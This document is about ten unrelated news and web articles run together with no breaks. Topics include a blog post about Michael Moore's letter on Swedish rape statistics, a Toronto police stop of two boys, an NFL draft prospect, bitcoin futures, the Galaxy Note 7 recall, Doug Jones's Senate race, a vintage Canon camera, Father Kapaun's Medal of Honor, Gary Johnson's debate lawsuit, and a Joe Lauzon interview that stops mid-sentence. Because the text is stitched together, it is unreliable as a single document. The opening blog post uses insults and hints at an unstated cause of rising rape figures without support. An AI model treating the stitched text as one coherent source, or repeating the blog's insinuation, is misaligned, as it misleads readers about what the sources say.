Loading... Better late than never. Now even liberal fruitcake Michael Moore has had enough of Sweden's neglect of rapes and its unwillingness to strike hard on rapists. In an open letter to the Swedish government, published in the liberal news outlet Huffington Post , he addresses the problem:"Dear Swedish Government:Hi there — or as you all say, Hallå! You know, all of us here in the U.S. love your country. Your Volvos, your meatballs, your hard-to-put-together furniture — we can’t get enough!There’s just one thing that bothers me — why has Amnesty International, in a special report, declared that Sweden refuses to deal with the very real tragedy of rape? In fact, they say that all over Scandinavia, including in your country, rapists “enjoy impunity.” And the United Nations, the EU and Swedish human rights groups have come to the same conclusion: Sweden just doesn’t take sexual assault against women seriously. How else do you explain these statistics from Katrin Axelsson of Women Against Rape:- Sweden has the HIGHEST per capita number of reported rapes in Europe.- This number of rapes has quadrupled in the last 20 years.- The conviction rates? They have steadily DECREASED.Axelsson says: “On April 23rd of this year, Carina Hägg and Nalin Pekgul (respectively MP and chairwoman of Social Democratic Women in Sweden) wrote in the Göteborgs [newspaper] that ‘up to 90% of all reported rapes [in Sweden] never get to court.’”Let me say that again: nine out of ten times, when women report they have been raped, you never even bother to start legal proceedings. No wonder that, according to the Swedish National Council for Crime Prevention, it is now statistically more likely that someone in Sweden will be sexually assaulted than that they will be robbed.Message to rapists? Sweden loves you!"Of course, Michael Moore, as the leftist he is, avoids mentioning why there has been a sharp increase of rapes in Sweden in recent years.Edit: Apparently Michael Moore wrote this in 2010 and has since deleted it from his own website. Naturally.And then came Trump, saying the same thing.Comment below.
The typically uneventful walk home from school took a terrifying turn for two brothers in east Scarborough on Thursday after they became the unwitting victims of an armed police take-down. Devonte Miller Blake, 15, and his 10-year-old brother, Kishwayne McCalla, were surrounded by up to seven officers pointing guns as they walked near Lawrence Avenue East and Orton Park Road. “All of a sudden, all of them came out guns drawn saying, ‘get down on your knees, get down on your knees,’ ” explained Devonte. “I was so terrified and I didn’t know what to do,” added Kishwayne. Police say Devonte matched the description of another boy, aged 10, who was suspected of pulling a gun on a young girl at nearby Tecumseh Senior Public School. “As parents we also understand how this can be perceived, but at the same time we have to understand that somewhere some 10 year old did pull out a gun and point it at a little girl’s head,” reasoned Const. Victor Kwong. Police say they treat any gun call with the utmost seriousness, regardless of the age of the perpetrator. But the boys’ mother, Susan Miller, thinks police took things too far. She was alerted to her sons’ predicament by a friend who saw the take-down and called her. “When you get a call like that you are outside yourself,” she said. “I was shaking. I was crying. I just needed answers.” “I understand that the cops have to do their job…But I think this was a little bit excessive and I just hope that it will never happen again.” Police say the boy they were originally seeking was eventually found carrying a silver airsoft pistol. No charges were laid because of his age.
MOBILE, Ala. -- Some team is going to select South Alabama's Gerald Everett in the NFL Draft. In all likelihood, it's going to be in the first round. And if the big tight end has his way, he'll be making his way to East Rutherford. "I'm going to be happy with any team that takes me," Everett told NJ Advance Media at the Senior Bowl on Tuesday. "But the Giants are atop my list." Despite having two-time Super Bowl MVP Eli Manning under center and all-pro Odell Beckham at receiver, the Giants offense was anemic last year. They averaged just 330.7 yards per game (25th in the league) and 19.4 points (26th). Not once did they score more than 30. While not a Giants fan, Everett says he kept close tabs on the team. According to him, their offensive woes require a simple fix: Gerald Everett. "Them adding another threat to the team, like myself, would help a lot," said Everett, who caught 49 passes for 717 yards and four touchdowns last season. "That offense would be sick, man. They're kind of missing that big-body guy. I know their coach is an offensive-minded coach. If they pull the trigger on me, we can be pretty successful." Everett would give the Giants arguably their most talented tight end since Jeremy Shockey, who last played for the team in 2007. He stands 6-3 and weighs 227 pounds. He ran a 4.57-second 40-yard dash. In three collegiate seasons, he caught 107 passes for 1,584 yards and 13 touchdowns. Everett said he views himself as a Jordan Reed, Shannon Sharpe-type player. Sharpe is a Hall of Famer. Reed is an all-pro. The Giants have Will Tye and Jerell Adams under contract heading into 2017. Both are solid, but not nearly as physically gifted as Everett. Senior Bowl week big for Giants? The marriage makes sense. But the real question is if the Giants are as interested in Everett, as Everett is in the Giants? He didn't have a meeting scheduled with general manager Jerry Reese or a scout when he talked to NJ Advance Media, just the Jets. Many have mixed opinions on the tight end because, while he's a tremendous route runner, he's not a fine-tuned blocker. Some give him a first-round grade, like NFL Network's Daniel Jeremiah. Others, like draft site WalterFootball.com, peg him more as a second or third round pick. The Giants also haven't taken a tight end in the first round since Shockey (2002), and never under Reese. Everett hopes they break the streak this April. "I have a couple of teams I'd like to play for," Everett said, "But I'll tell you the Giants are the top." Connor Hughes may be reached at chughes@njadvancemedia.com. Follow him on Twitter @Connor_J_Hughes. Find NJ.com Jets on Facebook.
News NYSE Owner Admits ‘We May Be Stupid’ for Not Being First on Bitcoin Futures Jeff Sprecher, CEO of Intercontinental Exchange Inc. and owner of the NYSE seems to be having second thoughts about letting his competitors launch Bitcoin futures trading first. It is by now very well known that Bitcoin futures trading is set to launch on both CME and CBOE this month and the extreme volatility we’ve seen in the price of Bitcoin over the last 48 hours or so is likely representative of this fact. Chicago-based CBOE is set to launch its futures offerings on Sunday and, as markets open in the US on Monday morning, we should start to get some idea of demand for the asset and – just as importantly – the spread of opinion as to where Bitcoin goes next (that’s what futures are designed to represent, after all). CME Group, also based in Chicago, will launch its identical (for all intents and purposes) offering a week later. One Surprise Absentee… CME and CBOE are two of the largest futures exchanges in the world but – in a surprise move to many – another top name on the list, NYSE, is delaying a move into the Bitcoin futures space. This delay is all the more surprising given that NYSE has previously been a first mover in this sector, having launched its bitcoin index, which settles based on daily Coinbase prices, in the early summer of last year. And it now seems that the guys in charge over at the NYSE are already regretting their decision not to follow up on the index with a futures offering. “We May be Stupid” At an investor conference sponsored by Goldman Sachs Group Inc. in New York this week, Jeff Sprecher, Chairman and CEO of Intercontinental Exchange and Chairman of the New York Stock Exchange, had this to say when asked about NYSE’s decision to hold back: We may be stupid for not being first on that… I don’t have the answers, I wish I knew… I don’t know what to make of cryptocurrencies. A couple of things are important here. First, that these large-scale financial institutions are concerned about their lack of exposure to Bitcoin is as strong an indicator as any to just how much global perception of Bitcoin and cryptocurrency has shifted over the past twelve months. The second is rooted in Sprecher’s admitting that he doesn’t know what to make of cryptocurrencies. This time last year, cryptocurrencies were being widely denounced as speculative (and almost certainly fraudulent) assets by those at the top tier of institutional finance. For a guy like Sprecher to now come forward and admit that he has no idea what’s going to happen is a major validation of the suggestion that the balance of power is shifting away from the historic, institutionalized environment to a decentralized and much more equal platform. Do you think NYSE has made a mistake? Are Bitcoin futures good or bad for the cryptocurrency space? Let us know in the comments below! Images and media courtesy of Wikimedia Commons, Investing.com
Image copyright Ariel Gonzalez Image caption A Galaxy Note 7 reportedly caught fire shortly after its charger was unplugged Samsung has urged owners of its Galaxy Note 7 phones to stop using or exchange the devices as they risk exploding. Samsung recalled 2.5 million phones last week after reports emerged of the device exploding during or after charging. And airline passengers were warned by US authorities not to switch on or charge the phones while on board. The South Korean company said it would replace all devices that were handed in from 19 September. A statement by Samsung, the world's biggest mobile phone maker, said "our customers' safety is an absolute priority". "Until a replacement device is provided, Samsung asks all customers with a Galaxy Note 7 smartphone to power down your device and return it to its place of purchase at your earliest opportunity," the statement added. Earlier on Saturday, aviation authorities in the United Arab Emirates banned use of the devices on the Emirates and Etihad airlines. What makes lithium batteries catch fire? Image copyright Getty Images Similar bans had already been put in place by Singapore Airlines, Qantas and Virgin Australia. The US Federal Aviation Administration (FAA) also advised against packing the phones into any checked-in luggage. Samsung recalled the phone last week after reports emerged of the device exploding during or after charging. US TV channel Fox 10 reported claims that a faulty Galaxy Note 7 had set fire to a family's Jeep. Samsung has said that battery problems were behind the phones catching fire, but that it was difficult to work out which phones were affected among those sold. The phone was launched last month and has been otherwise generally well-received by consumers and critics.
Democratic Senate nominee Doug Jones talked to supporters Jennifer L. Greer (right) and Janet Crosby (left) as he campaigns at Niki's West restaurant Wednesday in Birmingham, Ala. BIRMINGHAM, Ala. — Doug Jones already has a place in Alabama’s layered and, at times, traumatic history. His name appears in the Birmingham Civil Rights Institute for prosecuting two members of the Ku Klux Klan who murdered four black girls in a church bombing. The exhibit on the 1963 bombing, which he pursued more than three decades after the fact, is titled: “Birmingham: The World Is Watching.” Now it feels as if the world is watching again as Jones takes on another long-shot mission: campaigning for a US Senate seat as a Democrat in a state that President Trump won with 62 percent of the vote. Advertisement His chances of becoming the first Democrat in a quarter-century to capture a Senate seat from Alabama have dramatically improved since accusations emerged against iconoclast Republican Roy Moore in the last week of inappropriate sexual behavior with teenage girls. Get Today in Politics in your inbox: A digest of the top political stories from the Globe, sent to your inbox Monday-Friday. Sign Up Thank you for signing up! Sign up for more newsletters here Those allegations mean Moore is soaking up nearly all of the national attention leading up to the Dec. 12 special election to fill the Senate seat that was held by Attorney General Jeff Sessions. Many Senate Republicans have cut ties with Moore, saying they do not want him in the Senate. If he wins, some are saying they would try to expel him. Jones, meanwhile, is buoyed not only by the salacious allegations against Moore, who has long been divisive, but also by his own strong standing as a law-and-order candidate with some cross-over appeal to Republicans. The Democrat is betting that the voters, especially the younger generation living in the suburbs, have changed with the times and are willing to turn away from the state’s past and its legacy of divisive leaders such as segregationist Governor George Wallace, who ran for president three times from 1964 to 1972. His message to them evokes the concept of a New South willing to exorcise racist “demons” — a word Jones uses. Advertisement Jones, 63, has a family story that straddles the two major industries that created Birmingham: One grandfather was a coal miner, the other a steel worker. He stayed in state for college and law school and then spent a year early in his career in Washington working on the staff of the Senate Judiciary Committee for Democratic Senator Howell Heflin of Alabama. There he cemented a relationship with young Delaware Senator Joe Biden, who has stumped for Jones. “The Senate then was so different from the Senate now,” Jones reflected at one recent campaign stop, adding that the chamber could use some “Alabama common sense.” Even before several women accused Moore of sexual impropriety when they were teens and he was in his 30s, Jones has talked about the campaign in historic terms, saying recently it could become “one of those seminal moments where everything changed.” Wary about triggering a voter backlash, Jones is avoiding the topic of his opponent’s troubles. Public polls vary widely, with one showing Jones up by 4 percentage points and another predicting Moore wins by 10 percentage points. Joe Trippi, a Democratic political strategist working for Jones, said that the campaign’s internal polls put the race within single digits before the allegations of sexual misconduct arose. Exactly how the scandal affects the race, he said, is hard to tell. “The dust has to settle,” Trippi said. Advertisement And while it does settle, Jones is running what can best be described as a stealth campaign. He held no public events Monday. On Tuesday his public schedule was very light and included visiting with University of Alabama students. Due to university rules, there were no campaign signs; he simply moved from table to table chatting with students one-on-one. Afterward, he talked with reporters for about seven minutes. ‘I talk about a state that’s had demons in the past that we’ve tried to get rid of.’ — Doug Jones, Democratic candidate for Senate in Alabama “I know there are other things going on in this state,” he said, alluding to Moore’s scandal. “We’re going to stay in our lane and talk about the issues.” Jones deviated from his even-keeled response only once. As he was boarding a black SUV, he heard a reporter yell a question about whether his campaign has been in contact with the women who accused his opponent. “I’m tired of people blaming this campaign,” Jones said, showing a flash of anger through a partially closed car door. “We have not reached out to them. And anything to the contrary is just absolutely absurd.” The Washington Post reported last week that Moore, as a man in his 30s, pursued sexual relationships with four girls aged 14 to 18. This week a fifth woman came forward, accusing him of groping her and trying to force her into sex in a car when she was 16 years old. The Post reporters have said they located the female accusers independently, without the help of Jones’s campaign or the Democratic Party. The contrast between Moore’s alleged past and Jones’s accomplishments is stark. Jones, who was US attorney for the Northern District of Alabama from 1997 to 2001, is known here for his role prying open a cold case that had haunted this city for decades: the 16th Street Baptist Church bombing that killed three 14-year-old girls and an 11-year-old girl. The September 1963 bombing focused national attention on Birmingham. The city was, at the time, just starting to integrate public schools and had earned the nickname “Bombingham” because of the constant violence. But prosecutors at the time could build a case against only one man in the church bombings. Robert “Dynamite Bob” Chambliss, a member of a particularly violent part of the Ku Klux Klan, was convicted of murder in 1977, 14 years after the bombing. But many in this city knew there were more accomplices. In 1997, Jones and other law enforcement leaders started the delicate task of reexamining the case. “I did not want the case to be reopened if they were not certain of getting convictions,” said Christopher Hamlin, who was the pastor of the 16th Street Baptist Church as Jones launched an investigation. Armed with new witnesses, the prosecution was a success, and two additional Klansmen went to prison. Jones talks about the case even in the more conservative corners of the state, such as DeKalb County in the northeastern part of the state. It’s a place where Trump took 83 percent of the vote. Jones told a crowd at the Fyffe Senior Center there that winning the KKK bombing convictions was “the proudest thing that I’ve ever done.” He went on to say that he talks about that case all around the country. “I talk about Alabama,” Jones said. “I talk about a state that’s had demons in the past that we’ve tried to get rid of. And those cases are a perfect example of a people — of a state — that is ready for unity, that’s ready to put the past behind them.” Brynn Anderson/Associated Press Democratic Senate nominee Doug Jones spoke to the press. But in a state with a troubled past on racial issues, and one where Jones needs Republicans to vote for him, longtime observers are surprised he is putting the Birmingham case at the center of his campaign. While the emphasis is sure to help generate turnout among black Democrats, some observers say putting it at the center of the campaign could hurt him with crossover Republicans. “He had a great desire to get justice for those little girls. In Alabama I don’t think that would be a calling card for political gain,” said Buddy Dean, a Birmingham lawyer who was in the US attorney’s office when Jones was US attorney. “This is a red state,” he said. On many of the issues, Jones seems to be out of step with socially conservative voters. He offers a stark contrast with Moore, who is heavily backed by evangelicals for his socially conservative views. Jones is a supporter of abortion and transgender rights. “We have to protect them,” Jones said to a Republican operative posing as a supporter at an event in Daphne, Ala., at the Macedonia Baptist Church. Jones went on to say President Trump’s decision to ban transgender service members from the military was: “Just wrong. Wrong. Wrong.” He sounds bearish on the GOP tax cut plan, saying on NBC’s “Meet the Press’’ recently: “People in this state understand that trickle-down tax cuts just don’t work.” And, though he’s carefully calibrated an answer about how he would work with Trump, who is hugely popular in Alabama, he’s critical of Trump’s chief of staff, John Kelly, the retired four-star Marine general who recently suggested that a compromise could have prevented the Civil War. Kelly’s comments have been derided by some observers. “He doesn’t understand history,” Jones said during an interview on “Reckon,” an online public affairs show in Alabama. “He doesn’t understand a lot of what’s going on.” Annie Linskey can be reached at annie.linskey@globe.com . Follow her on Twitter @annielinskey
Canon ODF-1 This page is part of the vintage Canon collection I maintain at canonfd.org Serial: 577843 This olive drab (OD) Canon F-1 was made available for a limited run of somewhere between 2000 and 3000 bodies. I contacted Canon Japan and they claimed that these were made available starting January of 1978 for 104,000 JPY. According to them there were 1000 made available in Japan and a total run of 2002 units, though they did say they were unable to comment on Canon matters outside of Japan. As such there is little certainty on whether or not these were sold in a separate run in the United States. Certainly Canon Europe appears to believe that they were only sold in Japan. It was sold without a lens and came with an olive-colored case and wide strap. It is essentially a special coat of paint on top of the standard F-1 body. Aside from these, Canon has released limited Olympics -- Montreal (1976) and Lake Placid (1980) -- versions and a Navy issue body. There is also a fabled olive US military government-issue camera with serial #120233, but it is not from the same run. The only other custom color variants of film cameras I'm aware of are the Leica R3 Safari and super-old Olive version of the M3. #572761 Sold by jandy531 for 180,000-220,000 JPY; slight wear on lower left part of the rear panel. #575945 Sold by Akihaba Nissin Camera #575964 Sold by songofsnow_photo. Lacks original base plate cover. $500-$725 #576737 Sold by Photo Arsenal back in the early 2000s in Nuernberg, Germany. #577061 Sold at an estate sale in Berkshire, UK #577264 Sold by tetsuya_a on eBay for $949.99 #577371 Sold by Camera Ohnuki for 115,500 yen. #577485 Furusan (exotic-exotic) #577500 Jean-Luc Cavey #577698 Sold by Kitamura; has a minor dent in the prism #577801 Sold by Yaotomi 129,600 yen #578183 Sold by Rakuten 129,600 yen, AB #578248 Sold by cameraheaven-jp for $2,199.99; A. #578900 Sold by Camera Maeda, 79,800 yen; broken servo EE finder coupling socket Manual Link (28.2MB PDF) Other resources
In this undated photo provided by the Catholic Diocese of Wichita, Father Emil Kapaun holds out a broken pipe. (Photo11: AP/Catholic Diocese of Wichita) Story Highlights Chaplain was well-awarded but never received Medal of Honor A group is pushing to canonize him Chaplain was known for generosity, bravery, and smoking a pipe In the cold, barren hills of Korea more than 60 years ago, two teary-eyed soldiers stood in a prisoner of war camp where their chaplain lay dying. The Rev. Emil Kapaun was weak, his body wracked by pneumonia and dysentery. After six brutal months in the hellish camp, the once sturdy Kansas farmer's son could take no more. Thousands of soldiers had already died, some starving, others freezing to death. Now the end was near for the chaplain. Lt. Mike Dowe said goodbye to the man who'd given him hope during those terrible days. The young West Point grad cried, even as the chaplain, he says, tried to comfort him with his parting words: "Hey, Mike, don't worry about me. I'm going to where I always wanted to go and I'll say a prayer for all of you." Lt. Robert Wood wept, too, watching the Roman Catholic chaplain bless and forgive his captors. He helped carry Kapaun out of the mud hut and up a hill on a stretcher after Chinese soldiers ordered he be moved to a hospital, a wretched, maggot-filled place the POWs dubbed "the death house." There was little or no medical care there. Kapaun died on May 23, 1951. These two soldiers — and many more — never forgot their chaplain. Not his courage in swatting away an enemy soldier pointing a gun at a GI's head. Not his talent for stealing food, then sneaking it to emaciated troops. Not the inspiring way he rallied his "boys," as he called them, urging them to keep their spirits up. The plain-spoken, pipe-smoking, bike-riding chaplain was credited with saving hundreds of soldiers during the Korean War. Kapaun (pronounced Kah-PAHWN) received the Distinguished Service Cross and many other medals. His exploits were chronicled in books, magazines and a TV show. A high school was named for him. His statue stands outside his former parish in tiny Pilsen, Kan. But one award, the Medal of Honor, always remained elusive. Dowe and other POWs had lobbied on and off for years, writing letters, doing interviews, enlisting support on Capitol Hill. Dowe's recommendation was turned down in the 1950s.The campaign stalled, then picked up steam decades later. Kapaun's "boys" grew old, their determination did not. Now it has finally paid off. On April 11, those two young lieutenants, Dowe and Wood, now 85 and 86, will join their comrades, Kapaun's family and others at the White House where President Barack Obama will award the legendary chaplain the Medal of Honor posthumously. "It is about time," Dowe says. Even now, Father Kapaun's story may still have one final chapter: sainthood. The Korean conflict is sometimes called "the forgotten war," overshadowed by the global cataclysm of World War II and the nation's long struggle in Vietnam. For veterans, though, there are vivid war memories: the desperation of eating weeds plucked from the dirt, the horror of discovering buddies who'd died overnight, the evanescent joy of taking a few puffs on their chaplain's pipe. Many men of the 3rd Battalion, 8th Cavalry regiment, credit Kapaun for their survival, emotionally and physically. "He's in my prayers every night," Dowe says. "I ask him to help me rather than asking God to help him." Dowe first talked about the chaplain in a told-to story in the Jan. 16, 1954, issue of The Saturday Evening Post. He described Kapaun as "the bravest man" and "best foot soldier" he'd ever known, a humble guy with a wry sense of humor (he made a game of counting lice on their uniforms) and a fierce desire to help others. Every POW remembers something special about what Kapaun did to help the soldiers. He'd pound rocks on bombed-out tin roofs to shape them into pans he used to wash the wounded. He'd pray to St. Dismas, the Good Thief, before he foraged in sheds and fields, stuffing corn, peaches and other food in his pockets, then giving it all to starving soldiers. He'd drag the injured into ditches, risking enemy attack, or haul them on stretchers in the snow, gently urging others to do the same. "Come on boys," he'd say, "Let's help these guys." He'd hop on his rickety bike — his Jeep had been demolished — every time he heard gunfire, racing toward the action, zipping across rice paddies in his knit cap fashioned from a sweater arm. "He figured somebody needed help or last rites," Wood says. "We used to call him To-The-Sound-of-the-Guns Kapaun." Wood recalls how the chaplain once joined him on the front lines when the lieutenant volunteered to deliver ammunition to some troops. As he raced up the hill, Kapaun appeared with bandoliers wrapped around him. "What are you doing, father?" a surprised Wood asked. "I'm going with you, son," the chaplain told the lieutenant, who at 22 was about a dozen years younger. About halfway up, they were fired upon, Wood says. Both jumped into a ditch. The trusty pipe Kapaun had clenched between his teeth had been reduced to a mere stem. "Father, you still want to go?" Wood asked. "Keep going, son," Kapaun replied. Such feats were cited when it was announced in March that Kapaun would receive the Medal of Honor. The White House and Army cited the chaplain's "extraordinary heroism" during the Battle of Unsan in Korea, walking through "withering enemy fire" to comfort and provide medical help, staying with the troops though capture was almost certain, leading prayers at the risk of punishment and resisting re-education programs by the Chinese Communists. Also mentioned was an incredible life-saving episode. It was November 1950 when Chinese soldiers overran the U.S. troops near Unsan. Sgt. Herbert Miller, a hardened World War II vet, was huddled in a ditch, his ankle broken from a grenade attack. He played dead for a time, hiding beneath the corpse of an enemy soldier. But he was ultimately discovered by another. Miller picks up the story six decades later: "He pointed his gun at my head. I was looking into the barrel. I figured to myself: 'This is it. I'm all done.'" Then almost miraculously, Miller saw a slender GI approaching across a dirt road. As he neared, Miller noticed a small cross on the soldier's helmet. Kapaun simply pushed the enemy aside — shockingly, without retribution. "Why he never shot him," Miller says, "I'll never know. I'll never know. ... I think the Lord was there directing him what to do." Kapaun reached down, scooped up Miller and carried him on his back as they were taken captive. "Put me down. You can't carry me," Miller repeatedly told Kapaun. And he recalls the chaplain's reply: "If I put you down, they'll shoot you." Kapaun carried the wounded sergeant, or supported him, hobbling on one foot, until they arrived days later at the village of Pyoktong, where a POW camp was eventually established. It was there on Easter Sunday 1951 that Kapaun, defying his captors, conducted Mass with a makeshift crucifix on a brilliantly sunny day. At the end of the service, Dowe recalls, the hills and valley echoed with the prisoners singing "America The Beautiful." By then, Kapaun, a patch covering one injured eye, was very sick. About a week later, he almost died from a blood clot in his leg. But he kept going. "As the kids say, he didn't just talk the talk, he walked the walk," Wood says. "When I think about him, I get all choked up. It was chaos. It was hell. To have this one man who still had the spark of civility in him — it was an inspiration." Back home, Dowe set out to have Kapaun's heroics recognized. After the Saturday Evening Post piece, Dowe made a bid to have him awarded the medal. It failed. The POWs talked about it at reunions over the decades, two Kansas congressmen tried, once in about 1990, and then about a decade later. Around the same time, a new champion entered the picture. William Latham Jr., a retired lieutenant colonel, teacher and historian, was interviewing several soldiers held captive with Kapaun while researching a book, "Cold Days in Hell: American POWs in Korea." They told moving stories and urged Latham to take up their medal cause. Latham scoured the National Archives, gathering evidence of Kapaun's deeds in battle and captivity. He found the chaplain's service documents and eyewitness accounts from Unsan. He collected affidavits from the obliging POWs. Latham understood the nominating process, the rules and hurdles in securing the medal — especially after decades pass — so he was sure to compile a thorough case. He sent more than 5 pounds of material to Kapaun's family and urged it be shared with the local congressman, who gave it to the Army. This time, there was success. Latham was thrilled — and not just for the chaplain's memory. "Emil Kapaun didn't need a medal to prove his heroism, but this recognition is very important to the men who served with him and to the families of the many other POWs who never came home," he says. "How many chances do any of us have to recognize so many unsung heroes?" But there's still unfinished business in Pilsen, where townsfolk hope Kapaun will one day be elevated from war hero to saint. Around this hamlet of just 22 homes, Kapaun's name already has mythical status. Everyone knows the story of the modest farm kid who became an Army chaplain in 1944, served two years along the India-Burma border and returned to the military in 1948 for a second stint — dying at age 35 in captivity in Korea. Today, there's a Father Kapaun Day every June at his former parish, St. John Nepomucene Catholic Church, a nearly century-old red brick building with a 115-foot steeple. Inside there's a museum celebrating Kapaun's life; outside a life-sized bronze statue of the chaplain, an Army captain, helping a wounded soldier. An hour away, the Rev. John Hotze, judicial vicar of the Wichita Diocese, has been leading the case for sainthood. When he officially started the project in 2008, he says, his first task was to look for any reasons Kapaun wasn't worthy. The closest thing to a flaw he found, he says, was a doctor in the POW camp who'd been frustrated because Kapaun, as a patient, gave his food to those he felt were needier. "That," he says, "was the worst anybody said about Father Kapaun." Over the next three years, Hotze, with a team of researchers, presented a 160-question survey to some 55 people who knew Kapaun from his childhood to his dying days. Personal interviews were conducted around the country and an 8,000-page record was amassed of every word written about and by Kapaun, including some 1,500 articles and even his homilies, some of them in Czech. (The Kansas-born chaplain learned his parents' ancestral language.) A postulator in Rome will assemble the case for canonization, which is ultimately decided by the pope. Two miracles are needed, and Hotze says there are potential candidates: a college student who suffered a life-threatening head injury in a pole-vaulting accident but recovered and teenage girl who healed from liver and lung disease, without any need for dialysis. In both instances, Hotze says, their families and friends prayed to Kapaun for his intercession. After three years of exploring Kapaun's life, Hotze says what stands out is his selflessness in extraordinary times. "If we were in the same position as Father, our focus would be on 'how am I going to survive?'" he says. "For Father Kapaun it was 'how am I going to help other people to survive?' That sums up his life." Ray Kapaun was born after his uncle died, but he grew up hearing about him from his grandmother. "In everything that Emil did, he led by example," Ray Kapaun says. "He wasn't a preachy person. He never expected anything from anybody that he wouldn't do himself." The medal, he says, is both a family honor and a history lesson. "It's a huge validation but it's almost an opportunity for a lot more people to know and see what kind of man he really was," he says. "I still read stories about him and get teared-up about what he did." Ray Kapaun, now 56, will accept the medal on his family's behalf. He'll be joined by two other nephews and a niece of the chaplain. Kansas political leaders, Latham, the historian, Hotze, others members of the Wichita Diocese and the Pilsen parish will be there, too. And, of course, the POWs. This day, Ray Kapaun says, would never have arrived without their persistence. Some didn't live to witness the ceremony, but others will finally see their beloved chaplain given the recognition they've called for so long. "What he did and what he meant is so important," Dowe says. "It's worth finding a way to carry that forward. ... I can only say I'm glad it's happening. It's a shame it couldn't have been sooner." Copyright 2013 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Read or Share this story: http://usat.ly/10p3nQT
Libertarian presidential candidate Gary Johnson has filed a lawsuit against the Commission on Presidential Debates on the grounds that the commission is violating the Sherman Anti-Trust Act. The Commission on Presidential Debates (CPD) has formally invited only Mitt Romney and Barack Obama to the debates while excluding all others, including Johnson. According to the commission’s criteria for inclusion, Johnson meets two out of its three required metrics. The first is that the candidate be of age and constitutionally eligible to serve as president. The second is that the candidate be on the ballot in enough states to actually win the Electoral College. Johnson falls short in the third category: a show of support of at least 15 percent in recognized polls. The CPD specifies: The CPD's third criterion requires that the candidate have a level of support of at least 15% (fifteen percent) of the national electorate as determined by five selected national public opinion polling organizations, using the average of those organizations' most recent publicly-reported results at the time of determination. It’s pretty much impossible for Johnson to meet the third and final part of the commission's demands. He hasn't been included in enough national polls even to register a minimum level of support. The CPD does not specify which national polling outfits they actually use to determine that 15-percent threshold. The lawsuit, filed in a U.S. District Court in California, argues that Johnson is seeking a job in the presidency and that other parties are colluding to prevent that from happening by barring him from the presidential debates. From the filing: The acts of the defendants, as alleged above, to conspire and contract among and between themselves to monopolize the field in the race for president and vice-president harm the American electorate generally, and plaintiffs, particularly. Johnson’s vice presidential pick, Judge Jim Gray of California, is planning on arguing the case before the court as soon as they give a date for a hearing. Gray says the anti-trust argument is strong that Democrats, Republicans, and the commission are conspiring to restrain trade and competition. "I believe in this," Gray said in a phone interview. "It is something I think will be historic. I am very confident the ruling will stand up as historical precedent." This approach of suing on anti-trust grounds is very different from previous attempts by candidates including Ralph Nader and Pat Buchanan, which largely focused on free speech and FEC violations. The court has not issued a date for the hearing. "You have to remember, the core of the anti-trust laws is not to protect competitors but to protect competition," Gray said.
Joe Lauzon is as straightforward as they come in the fight game and he has zero issue with that being the case. There's always so much more going on than what Lauzon allows anyone to see, and his ability to change pace and throw a loop is what has made him the undeniable bonus king of the UFC.The Massachusetts native's ability to get mean and nasty is well documented, just as his talents for out-slicking his opposition is stamped on record as well. The paradox of Lauzon comes in his personality and approach. He's simply a nice guy until it's time to not be nice anymore.Also worth noting: Lauzon will definitely appreciate a Patrick Swayze reference.Plenty of words have been written on the techie/fighter/father combination where his backstory seems carved in stone. And while that very well may be the case, it's not the past Lauzon thinks about. It's the future, and if there is one thing Lauzon appreciates, it's keeping things moving.Yet, with the savvy veteran's most recent victory over Marcin Held coming via controversial split decision on the judges' scorecards, that past had to be revisited a touch before rolling forward.The two talented grapplers engaged in a back-and-forth affair at UFC Fight Night 103 back in January which resulted in Lauzon's hand being raised at the end. Immediately following the bout Lauzon shared his belief Held actually won the fight, but looking back two months removed, those thoughts have changed a bit.Jan 15, 2017; Phoenix, AZ, USA; Joe Lauzon (left) is declared the winner by decision over Marcin Held during UFC Fight Night at Talking Stick Resort Arena. Mandatory Credit: Mark J. Rebilas-USA TODAY Sports"I thought for sure it wasn't going my way," Lauzon told FloCombat. "One of my pet peeves is when it's a super close round and the corner tells you that you got it. They tell you that you're up one round or two rounds for sure, but if it's ever super close, you just have to assume you lost the round. You can't go into the final round thinking you are up 2-0 when that's not the case."I thought we had the first for sure. I thought that was clear. I thought he could have taken the second round and then came out in the third thinking we had to take it to win the fight. And it ended up being his round so I remember thinking, 'I lost. I screwed up.'"We walked to the center to do the thing and I heard them start to announce one judge at a time and that always means split," he continued. "They announce that he had the first judge and I had the second judge and I'm like, 'Get the f*ck outta here. There's no way.' Then the third judge gave it to me as well."At the time I said what I said, but looking back on it I see the fight being a lot closer than I did at the time because I was so focused on that third round. The second round was really close, and I still don't know if I definitely won the fight, but at least I can understand how the judges saw it. Regardless, it wasn't the kind of night I wanted to have."In the case of close or controversial endings in fights, the UFC has been prone to running them back in immediate fashion. With the recent announcement of Lauzon's next bout coming against prospect Stevie Ray, however, a second dance with Held appears unlikely. The Ultimate Fighter alum has no problems with that being the case either.Aug 27, 2016; Vancouver, BC, Canada; Joe Lauzon (red gloves) reacts to fight against Jim Miller (blue gloves) during UFC Fight Night at Rogers Arena. Mandatory Credit: Anne-Marie Sorvin-USA TODAY Sports"I like to keep it moving and I don't like watching rematches," Lauzon said. "You kind of already know what's going to happen and how it's going to play out. I think the Tyron Woodley vs. Stephen Thompson rematch is a perfect example. The two fights really weren't that much different. The first fight was definitely more exciting, but the same tendencies were there. And that's how it played out."I'd rather just get on because there are other guys to fight. I honestly don't want to think about someone any longer than I have to. I get sick of thinking about someone, planning for them and preparing for them."Once the fight is over I don't have to think about them anymore, with the exception of Jim Miller," he added. "We did that one twice and could probably do it at least two more."While Ray is only 26 years of age, his cage experience is far beyond his years. The fighting Scot has notched the same amount of fights as he's had years on Earth, with six of those coming under the UFC banner. In that run he's found victory in all but one matchup, and the idea of fighting someone who isn't very well known on the UFC stage has Lauzon excited.Jul 9, 2016; Las Vegas, NV, USA; Joe Lauzon (blue gloves) reacts to his win against Diego Sanchez (red gloves) during UFC 200 at T-Mobile Arena. Mandatory Credit: Joshua Dahl-USA TODAY Sports"This is a new guy and I love it," Lauzon said. "I know his name is Stevie Ray, but I keep wanting to call him Stevie Ray Vaughan from the whole Harlem Heat deal. It's nice to have someone new to focus on who we don't know much about. We get to break him down and figure out what he's good at and what his strategy will be. I really enjoy that part."Any conversation with Lauzon will automatically start with mixed martial arts, but it would be a crime if other topics outside the combat realm weren't discussed. And with the recent release of the highly anticipated "Logan" movie, there was no way Lauzon's thoughts on the topic weren't going to be taken on record.As an avid comic book reader and superhero movie buff, getting Lauzon's thoughts on Hugh Jackman's big screen curtain call to the beloved Wolverine character was a must. With the movie already receiving an incredible amount of praise and a near-perfect rating on Rotten Tomatoes, the big question lingered as to the movie's standing on the list of 